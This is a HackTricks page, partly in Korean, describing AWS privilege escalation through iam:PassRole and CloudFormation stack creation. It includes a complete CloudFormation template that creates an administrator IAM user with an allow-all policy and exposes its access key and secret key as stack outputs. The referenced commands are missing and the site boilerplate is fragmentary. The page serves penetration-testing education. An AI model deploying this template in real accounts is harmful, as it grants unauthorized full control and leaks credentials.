iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Learn & practice AWS Hacking: Learn & practice GCP Hacking:

Support HackTricks

Check the !
Join the 💬 or the or follow us on Twitter 🐦 .
Share hacking tricks by submitting PRs to the and github repos.

공격자는 예를 들어 관리자 사용자에 대한 키를 생성하는 cloudformation 템플릿을 사용할 수 있습니다:

그런 다음 클라우드포메이션 스택을 생성합니다:

스택이 생성될 때까지 몇 분 기다리세요 그리고 자격 증명이 저장된 스택의 출력을 가져오세요:

References

HackTricks 지원하기

PreviousAWS - Cloudformation Privesc NextAWS - Cognito Privesc

Last updated 3 days ago

{
"Resources": {
"AdminUser": {
"Type": "AWS::IAM::User"
},
"AdminPolicy": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"Description" : "This policy allows all actions on all resources.",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": "*"
}]
},
"Users": [{
"Ref": "AdminUser"
}]
}
},
"MyUserKeys": {
"Type": "AWS::IAM::AccessKey",
"Properties": {
"UserName": {
"Ref": "AdminUser"
}
}
}
},
"Outputs": {
"AccessKey": {
"Value": {
"Ref": "MyUserKeys"
},
"Description": "Access Key ID of Admin User"
},
"SecretKey": {
"Value": {
"Fn::GetAtt": [
"MyUserKeys",
"SecretAccessKey"
]
},
"Description": "Secret Key of Admin User"
}
}
}